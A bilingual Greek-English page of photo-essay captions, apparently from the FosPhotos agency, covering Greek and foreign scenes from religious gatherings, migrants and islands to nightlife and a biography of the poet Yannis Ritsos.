Περισσότεροι από 40.000 άνθρωποι από απ'όλο τον κόσμο πήραν μέρος στην τριήμερη Διεθνή Συνέλευση των Μαρτύρων του Ιεχωβά, στο Ολυμπιακό Στάδιο, στην Αθήνα. Το πρωί του Σαββάτου, δεύτερη μέρα της Συνέλευσης, σε ειδικές πισίνες που είχαν στηθεί στο κέντρο του γηπέδου, βαπτίστηκαν συνολικά 337 νέα μέλη, τόσο από την Ελλάδα όσο και από το εξωτερικό, που είχαν έρθει ακριβώς για αυτό το λόγο στην χώρα μας και έπαιρναν μέρος στην εκδήλωση. Οπως και σε κάθε άλλη συνέλευσή τους, οι μάρτυρες του Ιεχωβά έψαλαν ύμνους, διάβασαν εδάφια της Βίβλου και συζήτησαν για τα πνευματικά και άλλα ζητήματα που τους απασχολούν μέσα από την οπτική της πίστης τους.
Οι Μάρτυρες του Ιεχωβά αποτελούν επίσημη χριστιανική θρησκεία με περίπου οκτώ εκατομμύρια μέλη σε 239 χώρες. Βάση της πίστης τους είναι η Αγία Γραφή, και αναγνωρίζουν ότι η σωτηρία των ανθρώπων μπορεί να επιτευχθεί μόνο μέσω του Ιησού Χριστού, του Γιου του Θεού. Εντούτοις, οι δοξασίες τους σε πολλά θέματα διαφέρουν από τις παραδοσιακές Εκκλησίες του χριστιανικού κόσμου.
Το κήρυγμά τους βασίζεται κυρίως στην πεποίθηση ότι σήμερα η άδικη τάξη πραγμάτων βρίσκεται στις «έσχατες ημέρες» της, καθώς σύντομα ο Θεός θα αναλάβει δράση για να τιμωρήσει τους άδικους ανθρώπους και να δώσει αιώνια ζωή στους δίκαιους σε μια παραδεισένια γη.

photos: Spyros Staveris

The simple, geometric architecture of Santorini Island, helps in creating abstract forms in black and white, cubist compositions, spaces, volumes and lines, zigzags, curves, diagonals. In linear map of landscape of Oia village, the shadows flow over the white walls of houses and function as a momentary breath of freshness, before being immersed back on the glaring summer light of Aegean Sea.

+

φωτογραφίες: Σπύρος Στάβερης

Η απλή, γεωμετρική αρχιτεκτονική της Σαντορίνης, βοηθά στη δημιουργία αφαιρετικών φορμών σε άσπρο και μαύρο, κυβιστικές συνθέσεις χώρων, όγκων και γραμμών, τεθλασμένες, καμπύλες, διαγώνιες. Στον γραμμικό χάρτη του τοπίου της Οίας, οι σκιές ρέουν πάνω στους λευκούς τοίχους των σπιτιών και λειτουργούν σαν μια στιγμιαία ανάσα δροσιάς, πριν την καταβύθηση και πάλι στο εκτυφλωτικό, καλοκαιρινό φως του Αιγαίου.

photos: Giannis Papanikos

Due to its geographical position, Greece has the role of immigrants reception coming from Asia in order to continue their long trip to Europe. Several of them come in Greece with a view to find work and integrate into the society, without being able to imagine the scale of the crisis Greece has been facing the last three years. The result of this situation for them, is to be trapped in a country, without having work or a place to live, and without any help by the Greek state. For several years the Municipality of Thessaloniki granted a block of apartments, in order to host immigrants who were unable to rent a house for themselves. Due to financial crisis the Municipality of Thessaloniki, retired from the finance of this area. Since then, charitable organizations and citizens of Thessaloniki pay the rent and the bills for the refugees.

+

φωτογραφίες: Γιάννης Παπανίκος

Λόγω της γεωγραφικής της θέσης, η Ελλάδα έχει το ρόλο της πύλης υποδοχής των μεταναστών που προέρχονται από την Ασία, προκειμένου να συνεχίσουν το μακρύ ταξίδι τους προς την Ευρώπη. Αρκετοί από αυτούς έρχονται στην Ελλάδα με σκοπό να βρουν εργασία και να ενταχθούν στην κοινωνία, χωρίς να είναι σε θέση να φανταστούν το μέγεθος της κρίσης που η Ελλάδα αντιμετωπίζει τα τελευταία τρία χρόνια. Το αποτέλεσμα αυτής της κατάστασης για αυτούς, είναι να παγιδευτούν σε μια χώρα, χωρίς να έχουν εργασία ή ένα μέρος για να ζήσουν, και χωρίς καμία βοήθεια από το ελληνικό κράτος. Για αρκετά χρόνια ο Δήμος Θεσσαλονίκης διέθεσε ένα άδειο συγκρότημα διαμερισμάτων, προκειμένου να φιλοξενήσει τους μετανάστες οι οποίοι δεν ήταν σε θέση να νοικιάσουν ένα σπίτι για τον εαυτό τους. Λόγω της οικονομικής κρίσης, ο Δήμος Θεσσαλονίκης αποσύρθηκε από τη χρηματοδότηση του εν λόγω εγχειρήματος. Από τότε, φιλανθρωπικές οργανώσεις και απλοί πολίτες της Θεσσαλονίκης έχουν αναλάβει να πληρώνουν το ενοίκιο και τους λογαριασμούς για τους πρόσφυγες αυτούς.

photos: Pinelopi Gerasimou

Landscape of an island: stone washed by the waves, while the sun sets in the amber horizon of the deep sea, clouds traveling as scattered tufts of cotton , the windmill lying in the most steepest edge of the rock, it white fades into white sky , wildflowers and cobs popping up fed sea salt, bloomy bushes to climb in closed backyards creating mazes inaccessible. Images of a nature that act as the notes of a whispered tune of chamber music, in the spring sweet sorrow of a weekend away from the city. It could be any Greek island, it is the Cycladic island of Kea in spring 2014.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Τοπίο νησιωτικό: η πέτρα που βρέχεται από το κύμα, ενώ ο ήλιος χάνεται στον πορτοκαλί ορίζοντα της βαθειάς θάλασσας, τα σύννεφα που ταξιδεύουν σκόρπια σαν τούφες βαμβάκι, ο ανεμόμυλος που βρίσκεται στην πιο άκρη του βράχου, το λευκό που σβήνει στο λευκό του ουρανού, αγριολούλουδα και στάχυα που ξεφυτρώνουν τρώγοντας αρμύρα, μπουκαμβίλιες που αναρριχώνται σε κλειστά κατώφλια δημιουργώντας απροσπέλαστους λαβυρίνθους. Εικόνες μιας φύσης, που λειτουργούν σαν τις νότες ενός σιγανού σκοπού μουσικής δωματίου μέσα στην ανοιξιάτικη χαρμολύπη ενός σαββατοκύριακου μακρυά από την πόλη. Θα μπορούσε να είναι οποιοδήποτε ελληνικό νησί, είναι η κυκλαδίτικη Τζιά την άνοιξη 2014.

photos: Giannis Papanikos

Standing on the river Thames, London is the most populous urban zone in Europe and one of the most important cultural centers in the world. It is also serves the role of the symbol, of the European financial power and wealth. As a multinational city and the destination of million immigrants worldwide, anyone who visits London notices the multiple cultures living and working in the city.  +

φωτογραφίες: Γιάννης Παπανίκος

Στέκεται στις όχθες του ποταμού Τάμεση, το Λονδίνο είναι η πιο πυκνοκατοικημένη αστική περιοχή στην Ευρώπη και ένα από τα πιο σημαντικά πολιτιστικά κέντρα του κόσμου. Επίσης, εξυπηρετεί τον ρόλο του συμβόλου της ευρωπαϊκής οικονομικής δύναμης και του παγκόσμιου πλούτου. Ως πολυφυλετική πόλη και  προορισμός εκατομμυρίων μετανάστων απ' όλο τον κόσμο, όποιος επισκέπτεται το Λονδίνο δεν γίνεται να μην παρατηρήσει τους πολλούς πολιτισμούς που συνυπάρχουν αρμονικά και δημιουργούν το ξεχωριστό χρώμα στην καθημερινή ζωή της πόλης.

photos and text: Pinelopi Gerasimou

My first contact was with Pastor Emmanuel. I found him on the sidewalk , talking with other believers and dared to ask him if I could photograph the ritual. I allowed and so I found myself in the basement. I stood for a moment to get a first taste and first thing I noticed is that the people there, they behaved much more freely than is typical in orthodox churches . They danced and sang in the presence of musical instruments. Little kids were running here and there. Not at all seemed to oppress their "wild" instincts . Others sat , some eating , some were talking on the sidelines of the main body of believers. There was  diffuse a feeling of free will that " hugged " me and it drove out my initial fear that I walk into a heavy ritual. Then the music stopped. The pastor took the mic and informed the faithful for the reason of my presence to clear any suspicion, although the people seemed comfortable already. And the sermon began. Pentikostianism is a Christian movement that belongs to the wider doctrine of Protestantism. It is not a specific church, but is part of the movement of renewal-rebirth. Very basic feature of this dogma is that it is based more on experience than on theory of theology. His only basis is the Bible, considered infallible in total.
The African Church of Pentikostians is located in a basement at colorful and multicultural neighborhood of Kypseli, Athens, Greece, April 2014.

+

φωτογραφίες και κείμενο: Πηνελόπη Γερασίμου

Η πρώτη μου επαφή, έγινε με τον πάστορα Emmanuel. Τον βρήκα στο πεζοδρόμιο, να συνομιλεί με άλλους πιστούς και τόλμησα να τον ρωτήσω αν θα μπορούσα  να φωτογραφήσω τη λειτουργία. Μου το επέτρεψε και έτσι  βρέθηκα στο υπόγειο. Στάθηκα για λίγο να πάρω μία πρώτη γεύση και το πρώτο που παρατήρησα, είναι ότι οι άνθρωποι εκεί, δρούσαν μέσα σε ένα πολύ πιο ελεύθερο πλαίσιο απ’αυτό που συνηθίζεται στις ορθόδοξες εκκλησίες.  Χόρευαν και τραγουδούσαν, παρουσία μουσικών οργάνων. Παιδάκια έτρεχαν εδώ κι εκεί. Καθόλου δεν έδειχναν να καταπιέζουν τα «άγρια» τους ένστικτα. Άλλοι κάθονταν, κάποιοι έτρωγαν, κάποιοι συνομιλούσαν παραμερισμένοι από τη γιορτή. Κυκλοφορούσε  ένα αίσθημα ελεύθερης βούλησης που «αγκάλιασε» και εμένα και έδιωξε τον αρχικό μου φόβο ότι μπαίνω σε ένα βαρύ τελετουργικό. Ύστερα η μουσική σταμάτησε. Ο πάστορας πήρε το μικρόφωνο και ενημέρωσε τους πιστούς  για τον λόγο της παρουσίας μου ώστε να διώξει κάθε καχυποψία, αν και ήδη φαίνονταν άνετοι. Και το κήρυγμα ξεκίνησε.
Ο Πεντηκοστιανισμός είναι ένα χριστιανικό κίνημα που ανήκει στο ευρύτερο δόγμα του προτεσταντισμού. Δεν είναι μία συγκεκριμένη εκκλησία, αλλά αποτελεί μέρος του κινήματος της ανανέωσης-αναγέννησης. Πολύ βασικό χαρακτηριστικό του δόγματος, είναι ότι βασίζεται περισσότερο στην εμπειρία παρά στη θεολογία.  Μοναδική του βάση είναι η Αγία Γραφή, που θεωρείται συνολικά αλάθητη.
Η Αφρικάνικη Εκκλησία των Πεντηκοστιανών στεγάζεται σε ένα υπόγειο στην πολύχρωμη και πολυφυλετική Κυψέλη, Αθήνα, Απρίλιος 2014.

photos and text: Giannis Papanikos

December 2010 : The storm of the Arab Spring starts in Tunisia. Algeria, Libya and Egypt will follow the road of revolution. Morocco stays out of the dramatic events, except some minor demonstrations which led to governmental changes.
April 2013 : Morocco is the only stability pole in Northern Africa. Almost three years after, Morocco continues the way to modernization according to the western standards, trying to keep a balance between the modern and the traditional face, a face which refuses to abandon its strong Islamic traditions and lifestyle. Glamorous shopping centers next to ancient medinas, yuppies dressed in expensive suits next to traditional muslims is a common daily life scene in the streets of Moroccan cities.   +

φωτογραφίες και κείμενο: Γιάννης Παπανίκος

Δεκέμβριος του 2010: Η θύελλα της Αραβικής Ανοιξης ξεκινά στην Τυνησία. Η Αλγερία, η Λιβύη και η Αίγυπτος θα ακολουθήσουν το δρόμο της επανάστασης. Το Μαρόκο μένει έξω από τα δραματικά αυτά γεγονότα, εκτός από κάποιες μικρές διαδηλώσεις που οδήγησαν σε κυβερνητικές αλλαγές.
Απρίλιος του 2013: Το Μαρόκο είναι ο μόνος πόλος σταθερότητας στη Βόρεια Αφρική. Σχεδόν τρία χρόνια μετά, το Μαρόκο συνεχίζει το δρόμο για τον εκσυγχρονισμό σύμφωνα με τα δυτικά πρότυπα, προσπαθεί να κρατήσει μια ισορροπία ανάμεσα στο σύγχρονο και το παραδοσιακό, διατηρώντας ένα κοινωνικό προφίλ που αρνείται να εγκαταλείψει ισχυρές ισλαμικές παραδόσεις και τον τρόπο ζωής του. Πολυτελή εμπορικά κέντρα δίπλα στις αρχαίες μεντίνες, γιάπηδες ντυμένοι με ακριβά κοστούμια δίπλα σε παραδοσιακά ντυμένους μουσουλμάνους, αυτές είναι κοινές καθημερινές σκηνές της ζωής στους δρόμους των μαροκινών πόλεων.

photographs: Aggelos Christophilopoulos

The Holy Sepulchre, also called The Church of the Resurrection, is the holiest pilgrimage and the most important monument of Christianity. It is located in the Christian Quarter, in the western part of the Old City of Jerusalem. The temple is built on the hill of Golgotha, where, according to the Bible, Jesus was crucified; it is said that this is also the place where Jesus Christ was buried and resurrected. All Christian doctrines meet here but just three churches -The Greek Orthodox Patriarchate, the Order of Franciscan Monks and the Armenian Patriarchate-, have rights on the building and the pilgrimages. The Copts and the Syrians have just prayer rights, while Christians from the other doctrines may only visit the Church as simple visitors. Finally, the Jews and the Muslims worship their Gods in the same place. The spirituality that results from the sacredness of the place and its power as a symbol of proof of divine existence, have rendered this small and old piece of land a sacred relic for humanity and a matrix of all its suffering.

+φωτογραφίες: Αγγελος Χριστοφιλόπουλος

Ο Πανάγιος Τάφος, γνωστός και ως Ναός της Αναστάσεως, αποτελεί το ιερότερο προσκύνημα και το σπουδαιότερο μνημείο όλου του Χριστιανισμού. Βρίσκεται στην χριστιανική συνοικία στο δυτικό μέρος της Παλαιάς Πόλης της Ιερουσαλήμ. Ο ναός είναι χτισμένος πάνω στο λόφο του Γολγοθά, όπου σύμφωνα με την Αγία Γραφή, σταυρώθηκε ο Ιησούς, και λέγεται, ότι στο μέρος αυτό βρίσκεται επίσης το σημείο όπου έγινε η ταφή του Ιησού και η ανάστασή του. Όλα τα χριστιανικά δόγματα συναντώνται εκεί, όμως μόνο τρεις Εκκλησίες: το Ελληνορθόδοξο Πατριαρχείο, το Τάγμα των Φραγκισκανών μοναχών και το Αρμένικο Πατριαρχείο έχουν κυριαρχικά δικαιώματα στο κτίριο και στα προσκυνήματα του. Οι Κόπτες και οι Συριανοί έχουν μόνο το δικαίωμα της προσευχής, ενώ οι χριστιανοί των άλλων δογμάτων μπορούν μόνο να επισκέπτονται το Ναό ως απλοί προσκυνητές. Οι Εβραίοι και οι Μουσουλμάνοι, τέλος, λατρεύουν τους θεούς τους στην ίδια τοποθεσία. Η πνευματικότητα που απορρέει από την ιερότητα του χώρου και η δύναμη του ως σύμβολο απόδειξης της θεϊκής ύπαρξης, έχει καταστήσει αυτό το τόσο μικρό και παλιό κομμάτι γης ιερό κειμήλιο όλης της ανθρωπότητας και μήτρα όλων των παθών της.

photos: Pinelopi Gerasimou

WARNING: inconvenient content

"..Operators got our table to sit celebrities that had just arrived. They put us two tables behind. One of my team, who had been to the toilet and had not noticed the change, almost found hugging Nikos(one of the celebrities). I rescued him the last moment, when the " magic strings " boy has brought on stage a large , flat , round , crimson vilyl puff and has thrown up a chick , showing "the way to fly her", and dancing to the sounds of "Sweet Dreams» (Marylin Manson's version of course). Groans , rubs , voices , an outburst into whole place . I asked the girls sitting next to me how they feel. " Great " they screamed louder than Manson. Mario scolded the girl when she tried to get up of the puff . " What happened , do not see big enough d***k, why got you up ?". She stayed in seat by giggling. A well muscled guy came next to me and said " What 's up baby ? "I replied "Come on , man , how are you? " And he struted . He was born in the city of Thessaloniki, Greece, and done this job for 15 years. He introduced himself as Rocky. I asked him if he was fan of Rocky Balboa. He told me that I would see in a moment , and left to the backstage..."

text: Antigoni Panta-Charva       +

φωτογραφίες: Πηνελόπη Γερασίμου

ΠΡΟΕΙΔΟΠΟΙΗΣΗ: ενοχλητικό περιεχόμενο

"..Μας αλλάζουν τραπέζι για να κάτσουν οι σελέμπριτι και πάμε δύο τραπέζια πιο πίσω. Ένας από το team μας που είχε πάει τουαλέτα και δεν είχε πάρει χαμπάρι, παραλίγο να βρεθεί αγκαλιά με τον Nikos. Το γλυτώσαμε στο τσακ, τη στιγμή που ο “μαγικός σπαγγάτος” έχει φέρει στη σκηνή ένα μεγάλο, επίπεδο, στρογγυλό, κατακόκκινο πουφ από βυνίλ και έχει πετάξει επάνω μία πιτσιρίκα, δείχνοντάς της πώς θα το έτριβε το πιπέρι, αν της έτριβε το πιπέρι, υπό τους ήχους του “Sweet Dreams» (από Manson φυσικά). Βογγητά, τριψίματα, φωνές, ένα μαγαζί εν εξάλλω. Ρωτάω τα κορίτσια δίπλα πώς περνάνε. «Τέλειαααααααααα» ουρλιάζουν, πιο δυνατά και από τον Marilyn. O Μάριο “τη λέει” στην κοπέλα που πήγε να σηκωθεί πριν την ώρα της από το πουφ. «Τι έγινε, δεν έχει μεγάλη π****α; Γιατί σηκώθηκες»; Εκείνη ξανακάθεται χαχανίζοντας. Έρχεται δίπλα μου ένας νταβραντισμένος και μου πετάει μάγκικα: «Τι έγινε μωρό; Πώς πάει»; Του απαντάω «Έλα δικέ μου, τι λέει;» και κορδώνεται. Είναι από τη Θεσσαλονίκη και κάνει αυτή τη δουλειά 15 χρόνια. Συστήνεται ως Ρόκι. Τον ρωτάω αν είναι φαν του Μπαλμπόα, μου λέει ότι θα δω σε λίγο και φεύγει για να πάει backstage..."

κείμενο: Αντιγόνη Πάντα-Χαρβά

photos: Anastasia Voutyropoulou

The silent waking of nature, just before the coming of the spring. Peloponnese, Greece, March 2003

+

φωτογραφίες: Αναστασία Βουτυροπούλου

Το σιωπηλό ξύπνημα της φύσης, λίγο πριν έρθει η Ανοιξη. Πελοπόννησος, Μάρτιος 2003

photos: Spyros Staveris

Carnival season in Greece, March 2001. Happy bon viveurs dressed in oriental costumes at one of the must-to be-places of the nightlife of Athenian upper class. This was the nightclub and restaurant Interni of Greek businessman Nick Varveris, located at the Gazi neighborhood in Athens.

+

φωτογραφίες: Σπύρος Στάβερης

Αποκριές, Μάρτιος 2001. Χαρούμενοι μπον βιβέρ, καλυμμένοι σε φιούζιον οριεντάλ μεταμφιέσεις, στο μαστ πλέις το μπι της αθηναϊκής άπερ κλας διασκέδασης, το νάιτ κλαμπ ρέστοραν Interni του επιχειρηματία Νίκου Βαρβέρη στο Γκάζι, Αθήνα.

FOS PHOTOS photographs

Saint Valentine's day on February 14 is a reminder to love to bewitch us all once again, to throw gently its caress like the feeling of a peplos on our backs, secretly to warm us with the flame of passion, to overwhelm logic by the irrational miracle of dare the death. How long love lasts, it is unspeakable for anyone who has fallen in love, and watching the couples in these photographs, moments unexpectedly stopped in time, surely we realize that love does not last forever, that most of these people live their lives separately, but anyone who fell in love once, he is in love for ever.

+

φωτογραφίες FOSPHOTOS

Η γιορτή των ερωτευμένων στις 14 Φλεβάρη είναι μια υπενθύμιση στον έρωτα να μας μαγέψει όλους, να ρίξει απαλά το χάδι του σαν εσθήτα στις πλάτες, μυστικά να μας ζεστάνει με την φλόγα του πάθους, να συνεπάρει τη λογική με το παράλογο θαύμα να αψηφάς τον θάνατο. Πόσο διαρκεί ο έρωτας είναι ακατανόμαστο για τον καθένα που έχει ερωτευτεί, και βλέποντας αυτά τα ζευγάρια στις φωτογραφίες, αναπάντεχα μέσα στον σταματημένο χρόνο, αντιλαμβάνεσαι σίγουρα ότι ό έρωτας δεν διαρκεί για πάντα, ότι οι περισσότεροι από αυτούς με άλλον μάλλον "έκαναν τσαρδί", αλλά όποιος έχει ερωτευτεί μια φορά είναι για πάντα ερωτευμένος.

photos: Christos Potsios

" Now, looking back my life in Africa, I feel that it can be completely described
as the existence of a person who came from a hasty and noisy world to a peaceful place. "
Karen Blixen, Danish female writer (1885-1962).

Photos of a continent that seduces with its mystic silence. A continent just under the sun.

+

φωτογραφίες: Χρήστος Πότσιος

«Τώρα, αναπολώντας τη ζωή μου στην Αφρική, αισθάνομαι ότι μπορεί απόλυτα να περιγραφεί
ως η ύπαρξη ενός ανθρώπου που ήρθε από έναν βιαστικό και θορυβώδη κόσμο σε έναν τόπο γαλήνιο».
Κάρεν Μπλίξεν, Δανή συγγραφέας( 1885-1962 ).

Φωτογραφίες από μια ήπειρο που μαγνητίζει με το μυστήριο της σιωπής της. Μιά ήπειρος κάτω ακριβώς από τον ήλιο.

photos: Angelos Christofilopoulos

Babougera, Bells, the Camel are all folklore performances, of intense Dionysian character, which take place during the weekend of Epiphany in the wider region of Drama in eastern Macedonia, Greece, and aim to exorcise evil spirits of nature and start a year of good luck. The men of the area wear sheepskins, paint their faces black, hang large bells on their belts and, by wandering in the streets, scare passers-by through the noise they create and their zoomorphic form. The presence of the camel symbolizes endurance and strength towards hardships. All eventually end up in the village's square where a traditional feast begins with music, food and plenty of "tsipouro" (alcoholic drink made by grapes). +

φωτογραφίες: Άγγελος Χριστοφιλόπουλος

Μπαμπούγερα, Κουδουνοφόροι αράπηδες, η Καμήλα είναι όλα λαογραφικά δρώμενα, με έντονο διονυσιακό χαρακτήρα, που τελούνται το τριήμερο των Θεοφανείων στην ευρύτερη περιοχή της Δράμας και αποσκοπούν στο ξόρκισμα των κακών πνευμάτων και στην έναρξη μιας καλότυχης χρονιάς. Οι άντρες της περιοχής φορούν προβιές προβάτων, βάφουν μαύρα τα πρόσωπά τους και κρεμούν μεγάλες κουδούνες στην ζώνη τους και γυρνώντας στους δρόμους του χωριού τρομάζουν τους περαστικούς με τους θορύβους που δημιουργούν και με την ζωόμορφη μορφή τους. Η εμφάνιση της Καμήλας συμβολίζει  καρτερία και αντοχή στις κακουχίες. Όλοι, τελικά, καταλήγουν στην πλατεία όπου στήνεται το παραδοσιακό γλέντι με μουσικές, φαγητό και τσίπουρα.

photos: Pinelopi Gerasimou

Concerts held in Athens in 2013, rock bands that visited us this year. Loud sound, weird silhouettes, in dark and underground,  the best photos of FosPhotos photographer Pinelopi Gerasimou.

+

φωτογραφίες: Πηνελόπη Γερασίμου

Συναυλίες που έγιναν στην Αθήνα το 2013, ροκ μπάντες που μας επισκέφθηκαν. Δυνατοί ήχοι, αλλόκοτες φιγούρες, οι καλύτερες φωτογραφίες, υπόγεια και σκοτεινά, της φωτογράφου της FosPhotos Πηνελόπης Γερασίμου.

Photos : Gerasimos Domenikos

In a less optimistic mood and with fewer decorations in the city streets, citizens of Athens are celebrating this year's Christmas. The days of shopping and consumption are long gone and this time the Greeks, without much money in their pockets, will search for the true spirit of Christmas. Βy unselfishly offering to the ones in real need, by trying to essentially communicate with others in their home and community, by adopting a stance and behavior that is focused on solidarity and communal spirit, in contrast to the selfishness and greed characterising contemporary Greek everyday culture. The spirit of this year's celebrations is the symbolism for the radical change that is much needed from Greek people in today's circumstances. +

Φωτογραφίες : Γεράσιμος Δομένικος

Με σαφώς πιο μειωμένη την διάθεση αλλά και την διακόσμηση στους δρόμους της πόλης, γιορτάζουν οι Αθηναίοι τα φετινά Χριστούγεννα. Ημέρες κατεξοχήν αγορών και κατανάλωσης, οι Έλληνες δεδομένης της δύσκολης οικονομικής κατάστασης που βιώνουν, θα ψάξουν για το αληθινό πνεύμα των Χριστουγέννων χωρίς πολλά χρήματα στις τσέπες τους. Ανιδιoτελής προσφορά σ'αυτούς που έχουν πραγματικά ανάγκη, ουσιαστικότερη επαφή και επικοινωνία μέσα στην οικογενειακή εστία αλλα και σε επίπεδο κοινότητας και κοινωνίας, και γενικότερα μια στάση ζωής πιο αλληλέγγυα και ομαδική, σε αντίθεση με τον ατομισμό που διέπει την σύγχρονη Ελληνική κουλτούρα. Το φετινό πνεύμα των εορτών είναι ο συμβολισμός της υπέρβασης και αλλαγής που απαιτείται απο τους Ελληνες αυτή την εποχή. Χριστούγεννα με κάθε τρόπο.

photos: Penelope Gerasimou

Winter atmosphere in Manhattan, New York, through the images of Greek photographer Penelope Gerasimou.
Definitely, it is the most famous piece of land in the world, and a dream of life, a must be destination  for countless people in all breadth of the Earth. Metropolis of the world, the Big Apple, symbol of Western civilization, youthful, chaotic and relentless, the visualization of the futuristic spirit of the 20th century, after the September 11 has gained also memory, history, scars and wounds. But for all those who visit New York, it will always be their beloved one. +

φωτογραφίες: Πηνελόπη Γερασίμου

Χειμωνιάτικη ατμόσφαιρα στο Μανχάταν, Νέα Υόρκη, μέσα από τις εικόνες της φωτογράφου Πηνελόπης Γερασίμου.
Πρέπει σίγουρα να είναι το διασημότερο κομμάτι γης στον κόσμο, και ένας προορισμός όνειρο ζωής για αμέτρητους ανθρώπους από όλα τα μήκη και τα πλάτη τoυ πλανήτη. Μητρόπολη του κόσμου, το Μεγάλο Μήλο, σύμβολο του δυτικού πολιτισμού, νεανική, χαοτική, αμείληκτη, η εικονοποίηση του φουτουριστικού πνεύματος του 20ου αιώνα, μετά την 11 Σεπτέμβρη απόκτησε μνήμη, ιστορία, πληγές και τραύματα. Για όλους όμως αυτούς που την επισκέπτονται, θα είναι πάντα η μεγάλη αγαπημένη.

photos: Spyros Staveris

Yannis Ritsos, one of the greatest Greek poets of the 20th century, was born in Monemvasia, Lakonia, Greece on May 1, 1909.
His father was a well-to-do landowner and his life began in a rich urban environment.
In 1921 his mother and his older brother died of tuberculosis and he, also, he did not ever freed from this disease. He was tied closely with his younger sister, Lula, and especially after the collapse, economic and social, of his family, they supported each other in the difficult times that would come for them from very early on.
He began writing poetry in early age and his beloved mother encouraged him. His first poems published in a very popular and sophisticated Greek newspaper for teenagers and students called Deaplassis Ton Paidon.
The Greece in the first half of the twentieth century, was trying to be reborn from the ashes of wars, the uprooting, the loss, the discord. The revolutionary ideas of creation of societies of equality and justice for the people, that spread throughout Europe, as a salvation from the darkness of war, create the militant ideology which Yannis Ritsos joined (he became a member of the Communist Party of Greece in 1934), loyal to it until the end of his life, as a response to inner dilemmas about the agony of the human being when standing helpless confronted with historical time. The elite of the Greek intelligentsia stood by him, supporter and judge. Kostas Karyotakis, Maria Polydouri, Kostis Palamas, Nikiforos Vrettakos, Tassos Livaditis, Titos Patrikios, all great Greek poets of their time, and music composer Mikis Theodorakis, all recognized his talent and Yannis Ritsos mets with them at some point in his life, either by offering his poems of ineffable lyricism to uplift the spirit and the soul, or as brothers -mates at
hostile places of exile, in which the Greek, political status quo obliged him repeatedly; a frustrated attempt to silence, through hardships and illness, the dreamy voice of the Epitaph, Romiosini, The Moonlight Sonata,
the Spring Agreement, Vigil, and so other great poems, essays and prose he wrote tirelessly until the end of his life.

In Karlovasi, at the island of Samos, Greece, one year before he died, on September 3, 1989, he writes :

...The few days that we have left yet, I look back
lyrics I wrote in July and August
although I fear that nothing added, rather
I have removed many, as among them appears
the dark suspicion that this summer
with the crickets, its trees and sea,
with the whistling of ships in glorious sunsets,
with the boatings in the moonlight beneath the little balconies
and with its hypocritical compassion, it'll be the last.

" Last summer " (from his last collection of poems: Late Too Late Into The Night).

Honors and awards in Greece and abroad: First Greek State Poetry Prize for " The Moonlight Sonata " (1956),
Great French Poetry prize " Alfre de VINYL " (France, 1975), " Lenin Peace Prize " (USSR , 1977), International award " Bontelo " (1978).
He was unsuccessfully proposed nine times for the Nobel Prize for Literature.

He died in Athens on November 11, 1990. He was buried in Monemvasia, his birthplace, three days later.

source archives: http://ritsos.ekebi.gr/eisagogi.asp   +

φωτογραφίες: Σπύρος Στάβερης

Ο Γιάννης Ρίτσος, ένας από τους σημαντικότερους Έλληνες ποιητές του 20ου αιώνα, γεννήθηκε στην Μονεμβασιά, Λακωνία, την 1η Μαΐου 1909.
Ο πατέρας του ήταν μεγαλοκτηματίας και η ζωή του ξεκίνησε μέσα σε πλούσιο, αστικό περιβάλλον.
Το 1921 η μητέρα του και ο αδερφός του πέθαναν από φυματίωση και ο ίδιος δεν απαλλάχθηκε ποτέ από αυτή την αρρώστια. Δέθηκε στενά με την μικρότερη αδερφή του, την Λούλα, και ιδιαίτερα μετά την κατάρρευση, οικονομική και κοινωνική, της οικογένειας, οπότε και συντρόφεψαν ο ένας τον άλλο στη δύσκολη ζωή που τους περίμενε από πολύ νωρίς.
Από πολύ μικρός γράφει ποίηση, με τη θερμή υποστήριξη της αγαπημένης του μητέρας. Τα πρώτα του ποιήματα δημοσιεύονται στην εφημερίδα Διάπλαση των Παίδων.
Η Ελλάδα, στο πρώτο μισό του εικοστού αιώνα, προσπαθεί να ξαναγεννηθεί μέσα από τις στάχτες των πολέμων, τον ξεριζωμό, την απώλεια, τον διχασμό. Οι επαναστατικές ιδέες για κοινωνίες των λαών, κοινωνίες ισότητας, δικαιοσύνης, αδερφοσύνης, που εξαπλώνονται σε όλη την Ευρώπη, σαν μια λύτρωση από τo έρεβος του πολέμου, δημιουργούν την αγωνιστική ιδεολογία στην οποία κοινωνεί (το 1934 γίνεται μέλος του κκε), πιστός σε αυτή μέχρι το τέλος της ζωής του, ως μια απάντηση στα εσωτερικά του ερωτήματα για την αγωνία της ανθρώπινης ύπαρξης, ανίσχυρη μπροστά στο χρόνο-θεριό της ιστορίας. Η αφρόκρεμα της ελληνικής διανόησης στέκεται δίπλα του, συμπαραστάτης, κριτής και καθρέφτης του. Καρυωτάκης, Πολυδούρη, Παλαμάς, Βρεττάκος, Λειβαδίτης, Τίτος Πατρίκιος, Δεσποτόπουλος, Θεοδωράκης, όλοι αναγνωρίζουν το ταλέντο του και συναντιέται με αυτούς σε κάποια στιγμή της ζωής του, είτε προσφέροντας τους ποιήματα άφατης λυρικότητας προς ανάταση του πνεύματος και της ψυχής, είτε ως αδέρφια-σύντροφοι στους αφιλόξενους τόπους της εξορίας, στην οποία τον ανάγκαζε κατ'εξακολούθηση το ελληνικό, πολιτικό κατεστημένο. Μια ατελέσφορη προσπάθεια να σιωπήσει, μέσα από τις κακουχίες και την αρρώστια, η ονειρική φωνή της Σονάτας στο Σεληνόφως, του Επιτάφιου, της Ρωμιοσύνης, της Εαρινής Συμφωνίας, της Αγρύπνιας και τόσο άλλων σπουδαίων ποιημάτων, δοκιμίων και πεζών που ακούραστα έγραφε μέχρι και το τέλος της ζωής του.
Στο Καρλόβασι της Σάμου, στις 3 Σεπτεμβρίου 1989, ένα χρόνο πριν πεθάνει, γράφει:

...Τις λίγες μέρες που μας μένουν ακόμη, θα ξανακοιτάξω
τους στίχους που έγραψα Ιούλιο και Αύγουστο
αν και φοβάμαι, πως τίποτα δεν πρόσθεσα, μάλλον
πως έχω αφαιρέσει πολλά, καθώς ανάμεσα τους διαφαίνεται
η σκοτεινή υποψία πως αυτό το καλοκαίρι
με τα τζιτζίκια του, τα δέντρα του, τη θάλασσά του,
με τα σφυρίγματα των πλοίων του στα ένδοξα λιογέρματα,
με τις βαρκάδες του στο φεγγαρόφωτο κάτω απ’ τα μπαλκονάκια
και με την υποκριτική ευσπλαχνία του, θα ’ναι το τελευταίο.

«Τελευταίο καλοκαίρι», Αργά πολύ αργά μέσα στη νύχτα.

